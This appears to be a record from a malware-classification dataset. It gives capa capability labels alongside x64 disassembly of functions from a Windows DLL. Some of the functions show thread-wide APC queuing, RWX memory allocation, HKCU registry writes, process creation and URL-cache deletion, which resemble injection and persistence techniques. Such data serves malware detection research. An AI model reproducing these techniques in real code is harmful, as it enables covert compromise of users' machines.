joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800064e0
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x1800368c0]
mov edx, 1
mov r8d, edx
call fcn.180015a38
mov rcx, qword [0x180036980]
lea rdx, [0x18000648c]
mov r9d, 1
xor r8d, r8d
add rsp, 0x28
jmp fcn.180005838

Function at 0x180006880
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x28
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x120
call fcn.18000fa58
mov rcx, qword [0x180036a48]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x180036980]
lea rdx, [0x1800062ac]
mov r9d, 1
xor r8d, r8d
add rsp, 0x28
jmp fcn.180005838
Function at 0x180007e5c
Capabilities:
Access pe header
Allocate or change rwx memory
Get file version info

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r15
sub rsp, 0x40
xor ebx, ebx
mov r15, rdx
mov rsi, rcx
mov rdi, rbx
mov qword [rsp + 0x28], rbx
mov bpl, bl
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
cmp rax, rbx
mov r13, rax
jne 0x180007e9b
lea ebx, [rdi + 0xb]
jmp 0x18000804e
lea rdx, [rsp + 0x20]
mov r8d, 1
mov rcx, rsi
call fcn.180017664
cmp eax, ebx
jne 0x180007f55
mov rcx, qword [rsp + 0x20]
xor edx, edx
mov ebp, ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
cmp eax, ebx
mov dword [rsp + 0x80], eax
je 0x180007f3e
mov rcx, qword [0x180036838]
mov r8d, eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp rax, rbx
mov r12, rax
je 0x180007f3e
mov r8d, dword [rsp + 0x80]
mov rcx, qword [rsp + 0x20]
mov r9, rax
xor edx, edx
call sub.VERSION.dll_GetFileVersionInfoW
cmp eax, ebx
je 0x180007f2c
lea r9, [rsp + 0x80]
lea r8, [rsp + 0x30]
lea rdx, [0x18002e730]
mov rcx, r12
call sub.VERSION.dll_VerQueryValueA
cmp eax, ebx
je 0x180007f2c
mov rax, qword [rsp + 0x30]
mov ebp, dword [rax + 8]
mov rcx, qword [0x180036838]
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rsp + 0x20]
mov rcx, qword [0x180036838]
xor edx, edx
shr ebp, 0x10
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r8, [0x180036070]
mov rax, rbx
mov ecx, ebx
mov rdx, r8
cmp bpl, byte [rdx]
jb 0x180007f72
mov eax, ecx
lea rax, [rax + rax*4]
add rax, r8
add ecx, 1
add rdx, 5
cmp ecx, 5
jb 0x180007f64
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x80]
mov rcx, r15
mov byte [rax], bpl
mov qword [0x180036830], rax
call fcn.180004dec
cmp eax, ebx
jne 0x180007ff0
cmp dword [rsp + 0x88], 0x10
jne 0x180007ff0
mov r8, qword [rsp + 0x80]
mov eax, dword [r13 + 0x58]
cmp dword [r8], eax
jne 0x180007fdc
cmp qword [r8 + 8], rbx
je 0x180007fdc
mov eax, dword [r13 + 0x50]
cmp qword [r8 + 8], rax
jae 0x180007fdc
mov rax, qword [r8 + 8]
lea rdi, [rsi + rax]
mov qword [rsp + 0x28], rdi
mov rcx, qword [0x180036838]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp rdi, rbx
jne 0x180008041
xor ecx, ecx
mov edx, 0x1000000
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp rax, rbx
mov qword [0x1800368f8], rax
je 0x18000804e
mov eax, dword [r13 + 0x58]
lea rdx, [rsp + 0x28]
mov rcx, rsi
mov qword [0x180036828], r15
mov qword [0x180036820], rsi
mov dword [0x180036818], eax
call fcn.180007c8c
cmp eax, ebx
jne 0x18000804e
mov rdi, qword [rsp + 0x28]
mov rdx, rdi
mov rcx, rsi
call fcn.180007960
mov ebx, eax
mov rbp, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x180008068
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, [0x180039065]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
mov rbx, rax
je 0x1800080ad
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x180035ef8], eax
je 0x1800080a5
lea rdx, [0x180039221]
mov rcx, rbx
call fcn.180007e5c
jmp 0x1800080c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1800080c8
mov edx, 1
lea r8, [0x180035d78]
lea rcx, [0x180035d60]
mov r9d, edx
call fcn.18000ecec
add rsp, 0x20
pop rbx
ret

Function at 0x18000953c
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
mov rsi, rdx
mov rbx, rcx
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r8d, [rdi + 3]
mov qword [rsp + 0x30], rdi
lea r9, [0x180036a58]
mov edx, 0x80000000
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x20], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
mov rbp, rax
je 0x180009638
lea r9d, [rdi + 1]
lea rdx, [0x1800394a8]
lea rcx, [rsp + 0x70]
xor r8d, r8d
call fcn.180017cc4
cmp rax, rdi
mov rbx, rax
je 0x180009628
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea r8d, [rdi + 2]
lea rdx, [0x180036a58]
xor r9d, r9d
mov rcx, rbp
mov qword [rsp + 0x28], rbx
mov r12d, eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp rax, rdi
je 0x18000960c
mov rcx, rbx
mov dword [rsi + 0x10], edi
mov qword [rsi], rax
mov dword [rsi + 8], r12d
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rsi + 0x14]
mov rdx, rbx
mov dword [rsi + 0xc], eax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x180009614
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword [0x180036838]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18000962d
mov edi, 8
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180009640
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov eax, edi
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
Function at 0x180009658
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0xf0
xor edi, edi
mov r12, rcx
lea rcx, [rax - 0x80]
and dword [rax + 0x18], edi
lea r8d, [rdi + 0x60]
xor edx, edx
call sub.ntdll.dll_memset
and qword [rsp + 0x50], rdi
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x80], 0x68
xor ebx, ebx
call fcn.180015050
test rax, rax
mov rsi, rax
je 0x18000970c
mov edx, 0x104
mov rcx, rax
call fcn.180018848
test rax, rax
mov rbp, rax
je 0x1800096f3
mov rcx, rax
call qword [sym.imp.SHELL32.dll_PathGetShortPath]
mov rcx, rbp
mov rbx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, rbp
mov rcx, rsi
add eax, 1
movsxd r8, eax
call qword [sym.imp.ntdll.dll_wcstombs]
mov r8, rbp
jmp 0x1800096f6
mov r8, rsi
mov rcx, qword [0x180036838]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
cmovne rdi, rbx
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov rdx, r12
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
and qword [rsp + 0x30], 0
xor ecx, ecx
mov dword [rsp + 0x28], 0xc000000
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800097bf
mov rax, qword [0x180036a48]
xor r8d, r8d
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x50]
lea ecx, [r8 + 2]
or r9d, 0xffffffff
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
mov dword [rsp + 0x120], eax
jne 0x180009794
mov dword [rsp + 0x120], 0x102
jmp 0x1800097a7
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800097cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x120], eax
test rbx, rbx
je 0x1800097e3
mov rcx, qword [0x180036838]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [rsp + 0x120]
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret

Function at 0x180009e08
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, rcx
mov ecx, 0x929
mov esi, r9d
mov r12d, r8d
mov r13, rdx
mov edi, 0x3ee
call fcn.180015a88
test rax, rax
mov rbx, rax
je 0x180009e88
mov r9d, 1
mov r8d, r12d
mov rdx, r13
mov rcx, rax
call fcn.1800153a0
test eax, eax
mov edi, eax
jne 0x180009e6d
mov r8d, esi
mov rdx, rbx
mov rcx, rbp
call fcn.1800099b0
mov edi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [0x180036838]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, edi
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x180009ea4
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x40
mov rbp, r8
mov r12, rdx
mov rdx, rcx
lea r8, [rax - 0x18]
mov rcx, 0xffffffff80000001
mov esi, r9d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
mov ebx, eax
jne 0x180009f9f
test rbp, rbp
je 0x180009f70
test esi, esi
je 0x180009f70
mov rcx, qword [0x180036838]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rdi, rax
je 0x180009f69
mov r8, rsi
mov rdx, rbp
mov rcx, rax
call sub.ntdll.dll_memcpy
cmp dword [rsp + 0x70], ebx
je 0x180009f33
mov r8d, dword [0x180036a34]
xor r9d, r9d
mov edx, esi
mov rcx, rdi
call fcn.180028828
mov rcx, qword [rsp + 0x30]
mov r9d, 3
xor r8d, r8d
mov rdx, r12
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [0x180036838]
mov r8, rdi
xor edx, edx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180009f94
mov ebx, 8
jmp 0x180009f94
and dword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x30]
and qword [rsp + 0x20], 0
mov r9d, 3
xor r8d, r8d
mov rdx, r12
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop r12
ret

Function at 0x18000a78c
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, [0x180039894]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp rax, rbx
je 0x18000a84d
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x180036904], eax
je 0x18000a852
cmp byte [0x180036a2c], 6
ja 0x18000a809
lea rcx, [0x180039bd0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x180039b5a]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x180039bdf]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x180039be6]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x1800398f6]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x180039bd8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x180039934]
call fcn.180027d60
mov r11, qword [0x180036950]
mov edx, 0xc
or dword [r11 + 0x34], 1
lea r8, [0x180035a90]
lea rcx, [0x180035970]
mov r9d, edx
call fcn.18000ecec
mov ebx, eax
jmp 0x18000a852
mov ebx, 0x7e
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x18000aaa0
Capabilities:
Read data from internet
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push r12
sub rsp, 0x70
and dword [rax + 8], 0
or ebp, 0xffffffff
cmp byte [0x180036a2c], 5
mov rbx, rcx
mov rcx, qword [0x180036838]
mov eax, 0x1388
mov r12, rdx
cmovbe ebp, eax
mov r8d, 0x4000
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rsi, rax
je 0x18000ab89
lea r9, [rsp + 0x80]
mov r8d, 0x4000
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x18000ab47
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x18000ab65
mov rcx, qword [rbx + 0x60]
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x18000ab34
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x102
je 0x18000ab75
test eax, eax
jne 0x18000ab65
mov eax, dword [rbx + 0x50]
cmp eax, 1
je 0x18000ab65
mov r8d, dword [rsp + 0x80]
test r8d, r8d
je 0x18000ab6e
mov rcx, qword [rbx]
xor r9d, r9d
mov rdx, rsi
mov rax, qword [rcx]
call qword [rax + 0x20]
jmp 0x18000aaf2
mov dword [rbx + 0x50], 1
jmp 0x18000ab75
mov dword [rbx + 0x50], 2
mov rcx, qword [0x180036838]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18000ab90
mov dword [rbx + 0x50], 1
mov rcx, qword [rbx]
lea rdx, [rsp + 0x20]
mov r8d, 1
mov rax, qword [rcx]
call qword [rax + 0x60]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret

Function at 0x18000b054
Capabilities:
Delete internet cache
Enumerate internet cache

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [0x180036838]
xor edx, edx
mov r8d, 0x1000
xor edi, edi
mov dword [rax + 0x10], 0x1000
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rbx, rax
je 0x18000b102
lea r8, [rsp + 0x38]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
test rax, rax
mov rsi, rax
je 0x18000b0f0
mov edi, 1
mov rcx, qword [rbx + 8]
mov rdx, rbp
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x18000b0ca
mov rcx, qword [rbx + 8]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea r8, [rsp + 0x38]
mov rdx, rbx
mov rcx, rsi
mov dword [rsp + 0x38], 0x1000
call qword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
test eax, eax
jne 0x18000b0ae
mov rcx, rsi
call qword [sym.imp.WININET.dll_FindCloseUrlCache]
mov rcx, qword [0x180036838]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, edi
add rsp, 0x20
pop rdi
ret
Function at 0x18000b730
Capabilities:
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, r9
mov r12d, r8d
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
call fcn.18000ac84
cmp rax, rbx
mov r13, rax
je 0x18000b79e
mov rdx, rdi
mov rcx, rax
call fcn.18000abbc
mov rdx, qword [rsi + 0x20]
lea r9, [rsi + 0x28]
mov r8d, dword [r9]
mov dword [rsi + 0x2c], r8d
mov rcx, qword [r13]
mov rax, qword [rcx]
call qword [rax + 0x18]
lea ecx, [rbx + 1]
lea r8, [r13 - 0x34]
cmp eax, ebx
cmove ebx, ecx
xor edx, edx
xor ecx, ecx
call fcn.18001e97c
jmp 0x18000b7c0
cmp dword [rsp + 0x60], ebx
mov r9, rbp
mov r8d, r12d
mov rdx, rsi
mov rcx, rdi
je 0x18000b7b8
call qword [sym.imp.WININET.dll_InternetReadFileExW]
jmp 0x18000b7be
call qword [sym.imp.WININET.dll_InternetReadFileExA]
mov ebx, eax
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x18000beb0
Capabilities:
Read http header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x30
xor r14d, r14d
bt edx, 0x1f
mov r13, r9
mov rsi, r8
mov r12d, edx
mov rbp, rcx
jb 0x18000bfce
call fcn.18000a6f4
test rax, rax
mov rdi, rax
je 0x18000bfce
mov edx, dword [rax + 0x54]
test dl, 0x40
je 0x18000bf24
mov rbx, qword [rax + 0x58]
test rbx, rbx
je 0x18000bf24
cmp qword [rbx + 0x18], r14
jne 0x18000bf1a
mov rcx, rbx
call fcn.18001b358
test eax, eax
jne 0x18000bf24
mov rbp, qword [rbx + 0x30]
mov r14d, 1
lea r8, [rdi - 0x34]
xor edx, edx
xor ecx, ecx
call fcn.18001e97c
test r14d, r14d
je 0x18000bfce
mov edi, dword [rsp + 0x78]
xor ebx, ebx
cmp r12d, 0xffff
jne 0x18000bf5f
test edi, edi
jne 0x18000bf5c
xor edx, edx
mov rcx, rsi
call fcn.1800188d4
mov rbx, rax
jmp 0x18000bf5f
mov rbx, rsi
mov rax, qword [rsp + 0x70]
mov r9, rsi
mov r8, rbx
mov qword [rsp + 0x28], rax
mov edx, r12d
mov rcx, rbp
mov qword [rsp + 0x20], r13
call sub.WINHTTP.dll_WinHttpQueryHeaders
test edi, edi
mov ebp, eax
jne 0x18000bffb
test eax, eax
je 0x18000bfb5
test r12d, 0x60000000
jne 0x18000bfb5
test rsi, rsi
je 0x18000bfb5
mov edi, dword [r13]
test edi, edi
je 0x18000bfb5
shr edi, 1
mov rdx, rsi
mov rcx, rsi
lea r8d, [rdi + 1]
call qword [sym.imp.ntdll.dll_wcstombs]
mov dword [r13], edi
test rbx, rbx
je 0x18000bffb
mov rcx, qword [0x180036838]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18000bffb
cmp dword [rsp + 0x78], 0
mov rax, qword [rsp + 0x70]
mov r9, r13
mov r8, rsi
mov edx, r12d
mov rcx, rbp
mov qword [rsp + 0x20], rax
je 0x18000bff3
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
jmp 0x18000bff9
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ebp, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov eax, ebp
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop r13
pop r12
ret
Function at 0x18000dcb4
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbp, rdx
mov rsi, rcx
mov ebx, 8
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x180036838]
xor edx, edx
lea r8d, [rax + 5]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rdi, rax
je 0x18000dd6f
lea rdx, [0x180039426]
mov r8, rsi
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rdx, qword [0x180036978]
lea r8, [rsp + 0x50]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
mov ebx, eax
jne 0x18000dd5d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rsp + 0x50]
lea r9d, [rbx + 1]
add eax, r9d
xor r8d, r8d
mov rdx, rdi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [0x180036838]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x18000edb4
Capabilities:
Enumerate threads

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x40
and dword [rax - 0x28], 0
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x18]
lea rcx, [rax - 0x24]
call sub.ntdll.dll_memset
test rbx, rbx
je 0x18000ede8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov dword [rsp + 0x20], 0x1c
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x18000ee8e
lea rcx, [0x18003901d]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x18003a06e]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov rsi, rax
call sub.KERNEL32.dll_Thread32First
jmp 0x18000ee81
mov ecx, dword [0x180036a28]
cmp dword [rsp + 0x2c], ecx
jne 0x18000ee74
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x1f03ff
call qword [sym.imp.KERNEL32.dll_OpenThread]
test rax, rax
mov rdi, rax
je 0x18000ee74
xor r8d, r8d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x18000ee36
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x18000f54c
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x60
and qword [r11 - 0x38], 0
xor eax, eax
mov rbp, rdx
mov r12d, r9d
mov edi, r8d
mov rsi, rcx
lea edx, [rax + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x28], rax
mov qword [r11 - 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
test rax, rax
mov qword [rsp + 0x58], rax
je 0x18000f660
mov rcx, qword [0x180036a48]
and dword [rsp + 0x88], 0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
test r12d, r12d
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x88]
mov r8d, edi
mov rdx, rbp
mov rcx, rsi
mov qword [rsp + 0x20], rax
je 0x18000f5de
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x18000f5e4
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x18000f62f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
mov ebx, eax
jne 0x18000f64d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov r9d, 0x2710
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, rsi
cmp eax, 1
mov ebx, eax
jne 0x18000f647
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x40]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov eax, dword [rsp + 0x88]
add rbp, rax
sub edi, dword [rsp + 0x88]
je 0x18000f651
jmp 0x18000f5b6
call qword [sym.imp.KERNEL32.dll_CancelIo]
test edi, edi
jne 0x18000f653
xor ebx, ebx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000f668
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x18000fa58
Capabilities:
Connect pipe
Read pipe
Write pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
xor esi, esi
mov ebp, r8d
mov r15, r9
and dword [rax - 0x38], esi
xor eax, eax
test r9, r9
mov r13, rdx
mov r12d, ecx
lea r14d, [rbp + 0x10]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x4c], eax
lea ebx, [rsi + 8]
je 0x18000fab0
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [rax + 1]
add r14d, esi
jmp 0x18000fabc
cmp ecx, 0x119
je 0x18000fb77
mov rcx, qword [0x180036838]
mov r8d, r14d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rdi, rax
je 0x18000fb75
test esi, esi
mov ecx, dword [0x180036a28]
mov dword [rax + 0xc], esi
mov dword [rax + 4], ecx
movzx ecx, r12w
mov dword [rax], ecx
lea ecx, [rsi + rbp]
mov dword [rax + 8], ecx
je 0x18000fb05
lea rcx, [rax + 0x10]
mov r8d, esi
mov rdx, r15
call sub.ntdll.dll_memcpy
test r13, r13
je 0x18000fb1e
test ebp, ebp
je 0x18000fb1e
lea rcx, [rsi + rdi + 0x10]
mov r8, rbp
mov rdx, r13
call sub.ntdll.dll_memcpy
mov rcx, qword [0x180036960]
lea rax, [rsp + 0x90]
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
mov r8d, r14d
mov rdx, rdi
mov dword [rsp + 0x20], 0x10
call qword [sym.imp.KERNEL32.dll_CallNamedPipeA]
test eax, eax
jne 0x18000fb61
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x18000fb63
xor ebx, ebx
mov rcx, qword [0x180036838]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret